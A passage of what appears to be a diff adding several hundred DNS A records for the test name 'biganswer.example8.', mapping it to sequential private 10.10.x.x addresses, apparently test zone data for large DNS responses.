+biganswer.example8.	3600	IN	A	10.10.10.50
+biganswer.example8.	3600	IN	A	10.10.11.1
+biganswer.example8.	3600	IN	A	10.10.11.2
+biganswer.example8.	3600	IN	A	10.10.11.3
+biganswer.example8.	3600	IN	A	10.10.11.4
+biganswer.example8.	3600	IN	A	10.10.11.5
+biganswer.example8.	3600	IN	A	10.10.11.6
+biganswer.example8.	3600	IN	A	10.10.11.7
+biganswer.example8.	3600	IN	A	10.10.11.8
+biganswer.example8.	3600	IN	A	10.10.11.9
+biganswer.example8.	3600	IN	A	10.10.11.10
+biganswer.example8.	3600	IN	A	10.10.11.11
+biganswer.example8.	3600	IN	A	10.10.11.12
+biganswer.example8.	3600	IN	A	10.10.11.13
+biganswer.example8.	3600	IN	A	10.10.11.14
+biganswer.example8.	3600	IN	A	10.10.11.15
+biganswer.example8.	3600	IN	A	10.10.11.16
+biganswer.example8.	3600	IN	A	10.10.11.17
+biganswer.example8.	3600	IN	A	10.10.11.18
+biganswer.example8.	3600	IN	A	10.10.11.19
+biganswer.example8.	3600	IN	A	10.10.11.20
+biganswer.example8.	3600	IN	A	10.10.11.21
+biganswer.example8.	3600	IN	A	10.10.11.22
+biganswer.example8.	3600	IN	A	10.10.11.23
+biganswer.example8.	3600	IN	A	10.10.11.24
+biganswer.example8.	3600	IN	A	10.10.11.25
+biganswer.example8.	3600	IN	A	10.10.11.26
+biganswer.example8.	3600	IN	A	10.10.11.27
+biganswer.example8.	3600	IN	A	10.10.11.28
+biganswer.example8.	3600	IN	A	10.10.11.29
+biganswer.example8.	3600	IN	A	10.10.11.30
+biganswer.example8.	3600	IN	A	10.10.11.31
+biganswer.example8.	3600	IN	A	10.10.11.32
+biganswer.example8.	3600	IN	A	10.10.11.33
+biganswer.example8.	3600	IN	A	10.10.11.34
+biganswer.example8.	3600	IN	A	10.10.11.35
+biganswer.example8.	3600	IN	A	10.10.11.36
+biganswer.example8.	3600	IN	A	10.10.11.37
+biganswer.example8.	3600	IN	A	10.10.11.38
+biganswer.example8.	3600	IN	A	10.10.11.39
+biganswer.example8.	3600	IN	A	10.10.11.40
+biganswer.example8.	3600	IN	A	10.10.11.41
+biganswer.example8.	3600	IN	A	10.10.11.42
+biganswer.example8.	3600	IN	A	10.10.11.43
+biganswer.example8.	3600	IN	A	10.10.11.44
+biganswer.example8.	3600	IN	A	10.10.11.45
+biganswer.example8.	3600	IN	A	10.10.11.46
+biganswer.example8.	3600	IN	A	10.10.11.47
+biganswer.example8.	3600	IN	A	10.10.11.48
+biganswer.example8.	3600	IN	A	10.10.11.49
+biganswer.example8.	3600	IN	A	10.10.11.50
+biganswer.example8.	3600	IN	A	10.10.12.1
+biganswer.example8.	3600	IN	A	10.10.12.2
+biganswer.example8.	3600	IN	A	10.10.12.3
+biganswer.example8.	3600	IN	A	10.10.12.4
+biganswer.example8.	3600	IN	A	10.10.12.5
+biganswer.example8.	3600	IN	A	10.10.12.6
+biganswer.example8.	3600	IN	A	10.10.12.7
+biganswer.example8.	3600	IN	A	10.10.12.8
+biganswer.example8.	3600	IN	A	10.10.12.9
+biganswer.example8.	3600	IN	A	10.10.12.10
+biganswer.example8.	3600	IN	A	10.10.12.11
+biganswer.example8.	3600	IN	A	10.10.12.12
+biganswer.example8.	3600	IN	A	10.10.12.13
+biganswer.example8.	3600	IN	A	10.10.12.14
+biganswer.example8.	3600	IN	A	10.10.12.15
+biganswer.example8.	3600	IN	A	10.10.12.16
+biganswer.example8.	3600	IN	A	10.10.12.17
+biganswer.example8.	3600	IN	A	10.10.12.18
+biganswer.example8.	3600	IN	A	10.10.12.19
+biganswer.example8.	3600	IN	A	10.10.12.20
+biganswer.example8.	3600	IN	A	10.10.12.21
+biganswer.example8.	3600	IN	A	10.10.12.22
+biganswer.example8.	3600	IN	A	10.10.12.23
+biganswer.example8.	3600	IN	A	10.10.12.24
+biganswer.example8.	3600	IN	A	10.10.12.25
+biganswer.example8.	3600	IN	A	10.10.12.26
+biganswer.example8.	3600	IN	A	10.10.12.27
+biganswer.example8.	3600	IN	A	10.10.12.28
+biganswer.example8.	3600	IN	A	10.10.12.29
+biganswer.example8.	3600	IN	A	10.10.12.30
+biganswer.example8.	3600	IN	A	10.10.12.31
+biganswer.example8.	3600	IN	A	10.10.12.32
+biganswer.example8.	3600	IN	A	10.10.12.33
+biganswer.example8.	3600	IN	A	10.10.12.34
+biganswer.example8.	3600	IN	A	10.10.12.35
+biganswer.example8.	3600	IN	A	10.10.12.36
+biganswer.example8.	3600	IN	A	10.10.12.37
+biganswer.example8.	3600	IN	A	10.10.12.38
+biganswer.example8.	3600	IN	A	10.10.12.39
+biganswer.example8.	3600	IN	A	10.10.12.40
+biganswer.example8.	3600	IN	A	10.10.12.41
+biganswer.example8.	3600	IN	A	10.10.12.42
+biganswer.example8.	3600	IN	A	10.10.12.43
+biganswer.example8.	3600	IN	A	10.10.12.44
+biganswer.example8.	3600	IN	A	10.10.12.45
+biganswer.example8.	3600	IN	A	10.10.12.46
+biganswer.example8.	3600	IN	A	10.10.12.47
+biganswer.example8.	3600	IN	A	10.10.12.48
+biganswer.example8.	3600	IN	A	10.10.12.49
+biganswer.example8.	3600	IN	A	10.10.12.50
+biganswer.example8.	3600	IN	A	10.10.13.1
+biganswer.example8.	3600	IN	A	10.10.13.2
+biganswer.example8.	3600	IN	A	10.10.13.3
+biganswer.example8.	3600	IN	A	10.10.13.4
+biganswer.example8.	3600	IN	A	10.10.13.5
+biganswer.example8.	3600	IN	A	10.10.13.6
+biganswer.example8.	3600	IN	A	10.10.13.7
+biganswer.example8.	3600	IN	A	10.10.13.8
+biganswer.example8.	3600	IN	A	10.10.13.9
+biganswer.example8.	3600	IN	A	10.10.13.10
+biganswer.example8.	3600	IN	A	10.10.13.11
+biganswer.example8.	3600	IN	A	10.10.13.12
+biganswer.example8.	3600	IN	A	10.10.13.13
+biganswer.example8.	3600	IN	A	10.10.13.14
+biganswer.example8.	3600	IN	A	10.10.13.15
+biganswer.example8.	3600	IN	A	10.10.13.16
+biganswer.example8.	3600	IN	A	10.10.13.17
+biganswer.example8.	3600	IN	A	10.10.13.18
+biganswer.example8.	3600	IN	A	10.10.13.19
+biganswer.example8.	3600	IN	A	10.10.13.20
+biganswer.example8.	3600	IN	A	10.10.13.21
+biganswer.example8.	3600	IN	A	10.10.13.22
+biganswer.example8.	3600	IN	A	10.10.13.23
+biganswer.example8.	3600	IN	A	10.10.13.24
+biganswer.example8.	3600	IN	A	10.10.13.25
+biganswer.example8.	3600	IN	A	10.10.13.26
+biganswer.example8.	3600	IN	A	10.10.13.27
+biganswer.example8.	3600	IN	A	10.10.13.28
+biganswer.example8.	3600	IN	A	10.10.13.29
+biganswer.example8.	3600	IN	A	10.10.13.30
+biganswer.example8.	3600	IN	A	10.10.13.31
+biganswer.example8.	3600	IN	A	10.10.13.32
+biganswer.example8.	3600	IN	A	10.10.13.33
+biganswer.example8.	3600	IN	A	10.10.13.34
+biganswer.example8.	3600	IN	A	10.10.13.35
+biganswer.example8.	3600	IN	A	10.10.13.36
+biganswer.example8.	3600	IN	A	10.10.13.37
+biganswer.example8.	3600	IN	A	10.10.13.38
+biganswer.example8.	3600	IN	A	10.10.13.39
+biganswer.example8.	3600	IN	A	10.10.13.40
+biganswer.example8.	3600	IN	A	10.10.13.41
+biganswer.example8.	3600	IN	A	10.10.13.42
+biganswer.example8.	3600	IN	A	10.10.13.43
+biganswer.example8.	3600	IN	A	10.10.13.44
+biganswer.example8.	3600	IN	A	10.10.13.45
+biganswer.example8.	3600	IN	A	10.10.13.46
+biganswer.example8.	3600	IN	A	10.10.13.47
+biganswer.example8.	3600	IN	A	10.10.13.48
+biganswer.example8.	3600	IN	A	10.10.13.49
+biganswer.example8.	3600	IN	A	10.10.13.50
+biganswer.example8.	3600	IN	A	10.10.14.1
+biganswer.example8.	3600	IN	A	10.10.14.2
+biganswer.example8.	3600	IN	A	10.10.14.3
+biganswer.example8.	3600	IN	A	10.10.14.4
+biganswer.example8.	3600	IN	A	10.10.14.5
+biganswer.example8.	3600	IN	A	10.10.14.6
+biganswer.example8.	3600	IN	A	10.10.14.7
+biganswer.example8.	3600	IN	A	10.10.14.8
+biganswer.example8.	3600	IN	A	10.10.14.9
+biganswer.example8.	3600	IN	A	10.10.14.10
+biganswer.example8.	3600	IN	A	10.10.14.11
+biganswer.example8.	3600	IN	A	10.10.14.12
+biganswer.example8.	3600	IN	A	10.10.14.13
+biganswer.example8.	3600	IN	A	10.10.14.14
+biganswer.example8.	3600	IN	A	10.10.14.15
+biganswer.example8.	3600	IN	A	10.10.14.16
+biganswer.example8.	3600	IN	A	10.10.14.17
+biganswer.example8.	3600	IN	A	10.10.14.18
+biganswer.example8.	3600	IN	A	10.10.14.19
+biganswer.example8.	3600	IN	A	10.10.14.20
+biganswer.example8.	3600	IN	A	10.10.14.21
+biganswer.example8.	3600	IN	A	10.10.14.22
+biganswer.example8.	3600	IN	A	10.10.14.23
+biganswer.example8.	3600	IN	A	10.10.14.24
+biganswer.example8.	3600	IN	A	10.10.14.25
+biganswer.example8.	3600	IN	A	10.10.14.26
+biganswer.example8.	3600	IN	A	10.10.14.27
+biganswer.example8.	3600	IN	A	10.10.14.28
+biganswer.example8.	3600	IN	A	10.10.14.29
+biganswer.example8.	3600	IN	A	10.10.14.30
+biganswer.example8.	3600	IN	A	10.10.14.31
+biganswer.example8.	3600	IN	A	10.10.14.32
+biganswer.example8.	3600	IN	A	10.10.14.33
+biganswer.example8.	3600	IN	A	10.10.14.34
+biganswer.example8.	3600	IN	A	10.10.14.35
+biganswer.example8.	3600	IN	A	10.10.14.36
+biganswer.example8.	3600	IN	A	10.10.14.37
+biganswer.example8.	3600	IN	A	10.10.14.38
+biganswer.example8.	3600	IN	A	10.10.14.39
+biganswer.example8.	3600	IN	A	10.10.14.40
+biganswer.example8.	3600	IN	A	10.10.14.41
+biganswer.example8.	3600	IN	A	10.10.14.42
+biganswer.example8.	3600	IN	A	10.10.14.43
+biganswer.example8.	3600	IN	A	10.10.14.44
+biganswer.example8.	3600	IN	A	10.10.14.45
+biganswer.example8.	3600	IN	A	10.10.14.46
+biganswer.example8.	3600	IN	A	10.10.14.47
+biganswer.example8.	3600	IN	A	10.10.14.48
+biganswer.example8.	3600	IN	A	10.10.14.49
+biganswer.example8.	3600	IN	A	10.10.14.50
+biganswer.example8.	3600	IN	A	10.10.15.1
+biganswer.example8.	3600	IN	A	10.10.15.2
+biganswer.example8.	3600	IN	A	10.10.15.3
+biganswer.example8.	3600	IN	A	10.10.15.4
+biganswer.example8.	3600	IN	A	10.10.15.5
+biganswer.example8.	3600	IN	A	10.10.15.6
+biganswer.example8.	3600	IN	A	10.10.15.7
+biganswer.example8.	3600	IN	A	10.10.15.8
+biganswer.example8.	3600	IN	A	10.10.15.9
+biganswer.example8.	3600	IN	A	10.10.15.10
+biganswer.example8.	3600	IN	A	10.10.15.11
+biganswer.example8.	3600	IN	A	10.10.15.12
+biganswer.example8.	3600	IN	A	10.10.15.13
+biganswer.example8.	3600	IN	A	10.10.15.14
+biganswer.example8.	3600	IN	A	10.10.15.15
+biganswer.example8.	3600	IN	A	10.10.15.16
+biganswer.example8.	3600	IN	A	10.10.15.17
+biganswer.example8.	3600	IN	A	10.10.15.18
+biganswer.example8.	3600	IN	A	10.10.15.19
+biganswer.example8.	3600	IN	A	10.10.15.20
+biganswer.example8.	3600	IN	A	10.10.15.21
+biganswer.example8.	3600	IN	A	10.10.15.22
+biganswer.example8.	3600	IN	A	10.10.15.23
+biganswer.example8.	3600	IN	A	10.10.15.24
+biganswer.example8.	3600	IN	A	10.10.15.25
+biganswer.example8.	3600	IN	A	10.10.15.26
+biganswer.example8.	3600	IN	A	10.10.15.27
+biganswer.example8.	3600	IN	A	10.10.15.28
+biganswer.example8.	3600	IN	A	10.10.15.29
+biganswer.example8.	3600	IN	A	10.10.15.30
+biganswer.example8.	3600	IN	A	10.10.15.31
+biganswer.example8.	3600	IN	A	10.10.15.32
+biganswer.example8.	3600	IN	A	10.10.15.33
+biganswer.example8.	3600	IN	A	10.10.15.34
+biganswer.example8.	3600	IN	A	10.10.15.35
+biganswer.example8.	3600	IN	A	10.10.15.36
+biganswer.example8.	3600	IN	A	10.10.15.37
+biganswer.example8.	3600	IN	A	10.10.15.38
+biganswer.example8.	3600	IN	A	10.10.15.39
+biganswer.example8.	3600	IN	A	10.10.15.40
+biganswer.example8.	3600	IN	A	10.10.15.41
+biganswer.example8.	3600	IN	A	10.10.15.42
+biganswer.example8.	3600	IN	A	10.10.15.43
+biganswer.example8.	3600	IN	A	10.10.15.44
+biganswer.example8.	3600	IN	A	10.10.15.45
+biganswer.example8.	3600	IN	A	10.10.15.46
+biganswer.example8.	3600	IN	A	10.10.15.47
+biganswer.example8.	3600	IN	A	10.10.15.48
+biganswer.example8.	3600	IN	A	10.10.15.49
+biganswer.example8.	3600	IN	A	10.10.15.50
+biganswer.example8.	3600	IN	A	10.10.16.1
+biganswer.example8.	3600	IN	A	10.10.16.2
+biganswer.example8.	3600	IN	A	10.10.16.3
+biganswer.example8.	3600	IN	A	10.10.16.4
+biganswer.example8.	3600	IN	A	10.10.16.5
+biganswer.example8.	3600	IN	A	10.10.16.6
+biganswer.example8.	3600	IN	A	10.10.16.7
+biganswer.example8.	3600	IN	A	10.10.16.8
+biganswer.example8.	3600	IN	A	10.10.16.9
+biganswer.example8.	3600	IN	A	10.10.16.10
+biganswer.example8.	3600	IN	A	10.10.16.11
+biganswer.example8.	3600	IN	A	10.10.16.12
+biganswer.example8.	3600	IN	A	10.10.16.13
+biganswer.example8.	3600	IN	A	10.10.16.14
+biganswer.example8.	3600	IN	A	10.10.16.15
+biganswer.example8.	3600	IN	A	10.10.16.16
+biganswer.example8.	3600	IN	A	10.10.16.17
+biganswer.example8.	3600	IN	A	10.10.16.18
+biganswer.example8.	3600	IN	A	10.10.16.19
+biganswer.example8.	3600	IN	A	10.10.16.20
+biganswer.example8.	3600	IN	A	10.10.16.21
+biganswer.example8.	3600	IN	A	10.10.16.22
+biganswer.example8.	3600	IN	A	10.10.16.23
+biganswer.example8.	3600	IN	A	10.10.16.24
+biganswer.example8.	3600	IN	A	10.10.16.25
+biganswer.example8.	3600	IN	A	10.10.16.26
+biganswer.example8.	3600	IN	A	10.10.16.27
+biganswer.example8.	3600	IN	A	10.10.16.28
+biganswer.example8.	3600	IN	A	10.10.16.29
+biganswer.example8.	3600	IN	A	10.10.16.30
+biganswer.example8.	3600	IN	A	10.10.16.31
+biganswer.example8.	3600	IN	A	10.10.16.32
+biganswer.example8.	3600	IN	A	10.10.16.33
+biganswer.example8.	3600	IN	A	10.10.16.34
+biganswer.example8.	3600	IN	A	10.10.16.35
+biganswer.example8.	3600	IN	A	10.10.16.36
+biganswer.example8.	3600	IN	A	10.10.16.37
+biganswer.example8.	3600	IN	A	10.10.16.38
+biganswer.example8.	3600	IN	A	10.10.16.39
+biganswer.example8.	3600	IN	A	10.10.16.40
+biganswer.example8.	3600	IN	A	10.10.16.41
+biganswer.example8.	3600	IN	A	10.10.16.42
+biganswer.example8.	3600	IN	A	10.10.16.43
+biganswer.example8.	3600	IN	A	10.10.16.44
+biganswer.example8.	3600	IN	A	10.10.16.45
+biganswer.example8.	3600	IN	A	10.10.16.46
+biganswer.example8.	3600	IN	A	10.10.16.47
+biganswer.example8.	3600	IN	A	10.10.16.48
+biganswer.example8.	3600	IN	A	10.10.16.49
+biganswer.example8.	3600	IN	A	10.10.16.50
+biganswer.example8.	3600	IN	A	10.10.17.1
+biganswer.example8.	3600	IN	A	10.10.17.2
+biganswer.example8.	3600	IN	A	10.10.17.3
+biganswer.example8.	3600	IN	A	10.10.17.4
+biganswer.example8.	3600	IN	A	10.10.17.5
+biganswer.example8.	3600	IN	A	10.10.17.6
+biganswer.example8.	3600	IN	A	10.10.17.7
+biganswer.example8.	3600	IN	A	10.10.17.8
+biganswer.example8.	3600	IN	A	10.10.17.9
+biganswer.example8.	3600	IN	A	10.10.17.10
+biganswer.example8.	3600	IN	A	10.10.17.11
+biganswer.example8.	3600	IN	A	10.10.17.12
+biganswer.example8.	3600	IN	A	10.10.17.13
+biganswer.example8.	3600	IN	A	10.10.17.14
+biganswer.example8.	3600	IN	A	10.10.17.15
+biganswer.example8.	3600	IN	A	10.10.17.16
+biganswer.example8.	3600	IN	A	10.10.17.17
+biganswer.example8.	3600	IN	A	10.10.17.18
+biganswer.example8.	3600	IN	A	10.10.17.19
+biganswer.example8.	3600	IN	A	10.10.17.20
+biganswer.example8.	3600	IN	A	10.10.17.21
+biganswer.example8.	3600	IN	A	10.10.17.22
+biganswer.example8.	3600	IN	A	10.10.17.23
+biganswer.example8.	3600	IN	A	10.10.17.24
+biganswer.example8.	3600	IN	A	10.10.17.25
+biganswer.example8.	3600	IN	A	10.10.17.26
+biganswer.example8.	3600	IN	A	10.10.17.27
+biganswer.example8.	3600	IN	A	10.10.17.28
+biganswer.example8.	3600	IN	A	10.10.17.29
+biganswer.example8.	3600	IN	A	10.10.17.30
+biganswer.example8.	3600	IN	A	10.10.17.31
+biganswer.example8.	3600	IN	A	10.10.17.32
+biganswer.example8.	3600	IN	A	10.10.17.33
+biganswer.example8.	3600	IN	A	10.10.17.34
+biganswer.example8.	3600	IN	A	10.10.17.35
+biganswer.example8.	3600	IN	A	10.10.17.36
+biganswer.example8.	3600	IN	A	10.10.17.37
+biganswer.example8.	3600	IN	A	10.10.17.38
+biganswer.example8.	3600	IN	A	10.10.17.39
+biganswer.example8.	3600	IN	A	10.10.17.40
+biganswer.example8.	3600	IN	A	10.10.17.41
+biganswer.example8.	3600	IN	A	10.10.17.42
+biganswer.example8.	3600	IN	A	10.10.17.43
+biganswer.example8.	3600	IN	A	10.10.17.44
+biganswer.example8.	3600	IN	A	10.10.17.45
+biganswer.example8.	3600	IN	A	10.10.17.46
+biganswer.example8.	3600	IN	A	10.10.17.47
+biganswer.example8.	3600	IN	A	10.10.17.48
+biganswer.example8.	3600	IN	A	10.10.17.49
+biganswer.example8.	3600	IN	A	10.10.17.50
+biganswer.example8.	3600	IN	A	10.10.18.1
+biganswer.example8.	3600	IN	A	10.10.18.2
+biganswer.example8.	3600	IN	A	10.10.18.3
+biganswer.example8.	3600	IN	A	10.10.18.4
+biganswer.example8.	3600	IN	A	10.10.18.5
+biganswer.example8.	3600	IN	A	10.10.18.6
+biganswer.example8.	3600	IN	A	10.10.18.7
+biganswer.example8.	3600	IN	A	10.10.18.8
+biganswer.example8.	3600	IN	A	10.10.18.9
+biganswer.example8.	3600	IN	A	10.10.18.10
+biganswer.example8.	3600	IN	A	10.10.18.11
+biganswer.example8.	3600	IN	A	10.10.18.12
+biganswer.example8.	3600	IN	A	10.10.18.13
+biganswer.example8.	3600	IN	A	10.10.18.14
+biganswer.example8.	3600	IN	A	10.10.18.15
+biganswer.example8.	3600	IN	A	10.10.18.16
+biganswer.example8.	3600	IN	A	10.10.18.17
+biganswer.example8.	3600	IN	A	10.10.18.18
+biganswer.example8.	3600	IN	A	10.10.18.19
+biganswer.example8.	3600	IN	A	10.10.18.20
+biganswer.example8.	3600	IN	A	10.10.18.21
+biganswer.example8.	3600	IN	A	10.10.18.22
+biganswer.example8.	3600	IN	A	10.10.18.23
+biganswer.example8.	3600	IN	A	10.10.18.24
+biganswer.example8.	3600	IN	A	10.10.18.25
+biganswer.example8.	3600	IN	A	10.10.18.26
+biganswer.example8.	3600	IN	A	10.10.18.27
+biganswer.example8.	3600	IN	A	10.10.18.28
+biganswer.example8.	3600	IN	A	10.10.18.29
+biganswer.example8.	3600	IN	A	10.10.18.30
+biganswer.example8.	3600	IN	A	10.10.18.31
+biganswer.example8.	3600	IN	A	10.10.18.32
+biganswer.example8.	3600	IN	A	10.10.18.33
+biganswer.example8.	3600	IN	A	10.10.18.34
+biganswer.example8.	3600	IN	A	10.10.18.35
+biganswer.example8.	3600	IN	A	10.10.18.36
+biganswer.example8.	3600	IN	A	10.10.18.37
+biganswer.example8.	3600	IN	A	10.10.18.38
+biganswer.example8.	3600	IN	A	10.10.18.39
+biganswer.example8.	3600	IN	A	10.10.18.40
+biganswer.example8.	3600	IN	A	10.10.18.41
+biganswer.example8.	3600	IN	A	10.10.18.42
+biganswer.example8.	3600	IN	A	10.10.18.43
+biganswer.example8.	3600	IN	A	10.10.18.44
+biganswer.example8.	3600	IN	A	10.10.18.45
+biganswer.example8.	3600	IN	A	10.10.18.46
+biganswer.example8.	3600	IN	A	10.10.18.47
+biganswer.example8.	3600	IN	A	10.10.18.48
+biganswer.example8.	3600	IN	A	10.10.18.49
+biganswer.example8.	3600	IN	A	10.10.18.50
+biganswer.example8.	3600	IN	A	10.10.19.1
+biganswer.example8.	3600	IN	A	10.10.19.2
+biganswer.example8.	3600	IN	A	10.10.19.3
+biganswer.example8.	3600	IN	A	10.10.19.4
+biganswer.example8.	3600	IN	A	10.10.19.5
+biganswer.example8.	3600	IN	A	10.10.19.6
+biganswer.example8.	3600	IN	A	10.10.19.7
+biganswer.example8.	3600	IN	A	10.10.19.8
+biganswer.example8.	3600	IN	A	10.10.19.9
+biganswer.example8.	3600	IN	A	10.10.19.10
+biganswer.example8.	3600	IN	A	10.10.19.11
+biganswer.example8.	3600	IN	A	10.10.19.12
+biganswer.example8.	3600	IN	A	10.10.19.13
+biganswer.example8.	3600	IN	A	10.10.19.14
+biganswer.example8.	3600	IN	A	10.10.19.15
+biganswer.example8.	3600	IN	A	10.10.19.16
+biganswer.example8.	3600	IN	A	10.10.19.17
+biganswer.example8.	3600	IN	A	10.10.19.18
+biganswer.example8.	3600	IN	A	10.10.19.19
+biganswer.example8.	3600	IN	A	10.10.19.20
+biganswer.example8.	3600	IN	A	10.10.19.21
+biganswer.example8.	3600	IN	A	10.10.19.22
+biganswer.example8.	3600	IN	A	10.10.19.23
+biganswer.example8.	3600	IN	A	10.10.19.24
+biganswer.example8.	3600	IN	A	10.10.19.25
+biganswer.example8.	3600	IN	A	10.10.19.26
+biganswer.example8.	3600	IN	A	10.10.19.27
+biganswer.example8.	3600	IN	A	10.10.19.28
+biganswer.example8.	3600	IN	A	10.10.19.29
+biganswer.example8.	3600	IN	A	10.10.19.30
+biganswer.example8.	3600	IN	A	10.10.19.31
+biganswer.example8.	3600	IN	A	10.10.19.32
+biganswer.example8.	3600	IN	A	10.10.19.33
+biganswer.example8.	3600	IN	A	10.10.19.34
+biganswer.example8.	3600	IN	A	10.10.19.35
+biganswer.example8.	3600	IN	A	10.10.19.36
+biganswer.example8.	3600	IN	A	10.10.19.37
+biganswer.example8.	3600	IN	A	10.10.19.38
+biganswer.example8.	3600	IN	A	10.10.19.39
+biganswer.example8.	3600	IN	A	10.10.19.40
+biganswer.example8.	3600	IN	A	10.10.19.41
+biganswer.example8.	3600	IN	A	10.10.19.42
+biganswer.example8.	3600	IN	A	10.10.19.43
+biganswer.example8.	3600	IN	A	10.10.19.44
+biganswer.example8.	3600	IN	A	10.10.19.45
+biganswer.example8.	3600	IN	A	10.10.19.46
+biganswer.example8.	3600	IN	A	10.10.19.47
+biganswer.example8.	3600	IN	A	10.10.19.48
+biganswer.example8.	3600	IN	A	10.10.19.49
+biganswer.example8.	3600	IN	A	10.10.19.50
+biganswer.example8.	3600	IN	A	10.10.20.1
+biganswer.example8.	3600	IN	A	10.10.20.2
+biganswer.example8.	3600	IN	A	10.10.20.3
+biganswer.example8.	3600	IN	A	10.10.20.4
+biganswer.example8.	3600	IN	A	10.10.20.5
+biganswer.example8.	3600	IN	A	10.10.20.6
+biganswer.example8.	3600	IN	A	10.10.20.7
+biganswer.example8.	3600	IN	A	10.10.20.8
+biganswer.example8.	3600	IN	A	10.10.20.9
+biganswer.example8.	3600	IN	A	10.10.20.10
+biganswer.example8.	3600	IN	A	10.10.20.11
+biganswer.example8.	3600	IN	A	10.10.20.12
+biganswer.example8.	3600	IN	A	10.10.20.13
+biganswer.example8.	3600	IN	A	10.10.20.14
+biganswer.example8.	3600	IN	A	10.10.20.15
+biganswer.example8.	3600	IN	A	10.10.20.16
+biganswer.example8.	3600	IN	A	10.10.20.17
+biganswer.example8.	3600	IN	A	10.10.20.18
+biganswer.example8.	3600	IN	A	10.10.20.19
+biganswer.example8.	3600	IN	A	10.10.20.20
+biganswer.example8.	3600	IN	A	10.10.20.21
+biganswer.example8.	3600	IN	A	10.10.20.22
+biganswer.example8.	3600	IN	A	10.10.20.23
+biganswer.example8.	3600	IN	A	10.10.20.24
+biganswer.example8.	3600	IN	A	10.10.20.25
+biganswer.example8.	3600	IN	A	10.10.20.26
+biganswer.example8.	3600	IN	A	10.10.20.27
+biganswer.example8.	3600	IN	A	10.10.20.28
+biganswer.example8.	3600	IN	A	10.10.20.29
+biganswer.example8.	3600	IN	A	10.10.20.30
+biganswer.example8.	3600	IN	A	10.10.20.31
+biganswer.example8.	3600	IN	A	10.10.20.32
+biganswer.example8.	3600	IN	A	10.10.20.33
+biganswer.example8.	3600	IN	A	10.10.20.34
+biganswer.example8.	3600	IN	A	10.10.20.35
+biganswer.example8.	3600	IN	A	10.10.20.36
+biganswer.example8.	3600	IN	A	10.10.20.37
+biganswer.example8.	3600	IN	A	10.10.20.38
+biganswer.example8.	3600	IN	A	10.10.20.39
+biganswer.example8.	3600	IN	A	10.10.20.40
+biganswer.example8.	3600	IN	A	10.10.20.41
+biganswer.example8.	3600	IN	A	10.10.20.42
+biganswer.example8.	3600	IN	A	10.10.20.43
+biganswer.example8.	3600	IN	A	10.10.20.44
+biganswer.example8.	3600	IN	A	10.10.20.45
+biganswer.example8.	3600	IN	A	10.10.20.46
+biganswer.example8.	3600	IN	A	10.10.20.47
+biganswer.example8.	3600	IN	A	10.10.20.48
+biganswer.example8.	3600	IN	A	10.10.20.49
+biganswer.example8.	3600	IN	A	10.10.20.50
+biganswer.example8.	3600	IN	A	10.10.21.1
+biganswer.example8.	3600	IN	A	10.10.21.2
+biganswer.example8.	3600	IN	A	10.10.21.3
+biganswer.example8.	3600	IN	A	10.10.21.4
+biganswer.example8.	3600	IN	A	10.10.21.5
+biganswer.example8.	3600	IN	A	10.10.21.6
+biganswer.example8.	3600	IN	A	10.10.21.7
+biganswer.example8.	3600	IN	A	10.10.21.8
+biganswer.example8.	3600	IN	A	10.10.21.9
+biganswer.example8.	3600	IN	A	10.10.21.10
+biganswer.example8.	3600	IN	A	10.10.21.11
+biganswer.example8.	3600	IN	A	10.10.21.12
+biganswer.example8.	3600	IN	A	10.10.21.13
+biganswer.example8.	3600	IN	A	10.10.21.14
+biganswer.example8.	3600	IN	A	10.10.21.15
+biganswer.example8.	3600	IN	A	10.10.21.16
+biganswer.example8.	3600	IN	A	10.10.21.17
+biganswer.example8.	3600	IN	A	10.10.21.18
+biganswer.example8.	3600	IN	A	10.10.21.19
+biganswer.example8.	3600	IN	A	10.10.21.20
+biganswer.example8.	3600	IN	A	10.10.21.21
+biganswer.example8.	3600	IN	A	10.10.21.22
+biganswer.example8.	3600	IN	A	10.10.21.23
+biganswer.example8.	3600	IN	A	10.10.21.24
+biganswer.example8.	3600	IN	A	10.10.21.25
+biganswer.example8.	3600	IN	A	10.10.21.26
+biganswer.example8.	3600	IN	A	10.10.21.27
+biganswer.example8.	3600	IN	A	10.10.21.28
+biganswer.example8.	3600	IN	A	10.10.21.29
+biganswer.example8.	3600	IN	A	10.10.21.30
+biganswer.example8.	3600	IN	A	10.10.21.31
+biganswer.example8.	3600	IN	A	10.10.21.32
+biganswer.example8.	3600	IN	A	10.10.21.33
+biganswer.example8.	3600	IN	A	10.10.21.34
+biganswer.example8.	3600	IN	A	10.10.21.35
+biganswer.example8.	3600	IN	A	10.10.21.36
+biganswer.example8.	3600	IN	A	10.10.21.37
+biganswer.example8.	3600	IN	A	10.10.21.38
+biganswer.example8.	3600	IN	A	10.10.21.39
+biganswer.example8.	3600	IN	A	10.10.21.40
+biganswer.example8.	3600	IN	A	10.10.21.41
+biganswer.example8.	3600	IN	A	10.10.21.42
+biganswer.example8.	3600	IN	A	10.10.21.43
+biganswer.example8.	3600	IN	A	10.10.21.44
+biganswer.example8.	3600	IN	A	10.10.21.45
+biganswer.example8.	3600	IN	A	10.10.21.46
+biganswer.example8.	3600	IN	A	10.10.21.47
+biganswer.example8.	3600	IN	A	10.10.21.48
+biganswer.example8.	3600	IN	A	10.10.21.49
+biganswer.example8.	3600	IN	A	10.10.21.50
+biganswer.example8.	3600	IN	A	10.10.22.1
+biganswer.example8.	3600	IN	A	10.10.22.2
+biganswer.example8.	3600	IN	A	10.10.22.3
+biganswer.example8.	3600	IN	A	10.10.22.4
+biganswer.example8.	3600	IN	A	10.10.22.5
+biganswer.example8.	3600	IN	A	10.10.22.6
+biganswer.example8.	3600	IN	A	10.10.22.7
+biganswer.example8.	3600	IN	A	10.10.22.8
+biganswer.example8.	3600	IN	A	10.10.22.9
+biganswer.example8.	3600	IN	A	10.10.22.10
+biganswer.example8.	3600	IN	A	10.10.22.11
+biganswer.example8.	3600	IN	A	10.10.22.12
+biganswer.example8.	3600	IN	A	10.10.22.13
+biganswer.example8.	3600	IN	A	10.10.22.14
+biganswer.example8.	3600	IN	A	10.10.22.15
+biganswer.example8.	3600	IN	A	10.10.22.16
+biganswer.example8.	3600	IN	A	10.10.22.17
+biganswer.example8.	3600	IN	A	10.10.22.18
+biganswer.example8.	3600	IN	A	10.10.22.19
+biganswer.example8.	3600	IN	A	10.10.22.20
+biganswer.example8.	3600	IN	A	10.10.22.21
+biganswer.example8.	3600	IN	A	10.10.22.22
+biganswer.example8.	3600	IN	A	10.10.22.23
+biganswer.example8.	3600	IN	A	10.10.22.24
+biganswer.example8.	3600	IN	A	10.10.22.25
